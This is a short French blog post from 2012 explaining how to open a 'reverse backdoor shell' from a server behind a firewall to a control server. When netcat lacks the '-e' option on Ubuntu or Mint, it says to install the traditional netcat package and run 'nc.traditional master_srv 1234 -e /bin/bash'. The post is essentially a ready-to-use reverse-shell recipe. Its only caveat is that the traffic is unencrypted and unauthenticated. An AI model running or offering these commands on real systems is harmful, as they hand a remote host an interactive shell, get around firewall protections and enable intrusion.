Netcat et « -e invalid option »

janvier 19, 2012  |   Blog   |     |   Commentaires fermés sur Netcat et « -e invalid option »

Il est souvent très utile de créer un reverse backdoor shell sur un serveur qui n’est pas accessible directement (par exemple derrière un firewall). C’est alors ce serveur qui lance une connexion sortante vers notre serveur de contrôle.

Or sur certaines distributions (dont Ubuntu, Mint,etc..) netcat (ou « nc ») ne dispose pas de l’option « -e » qui permet de lui attacher un shell (ou autre).

On obtient alors ce message d’erreur :

#nc master_srv 1234 -e /bin/bash
nc: invalid option -- 'e'

Il suffit alors d’installer le package « netcat » :
apt-get install netcat

Et d’utiliser la commande « nc.traditional » :
nc.traditional master_srv 1234 -e /bin/bash

PS : Attention, le flux passe en clair et sans authentification.
Bref, c’est un outil à utiliser de manière très ponctuelle et en connaissance de cause.

Les commentaires sont fermés.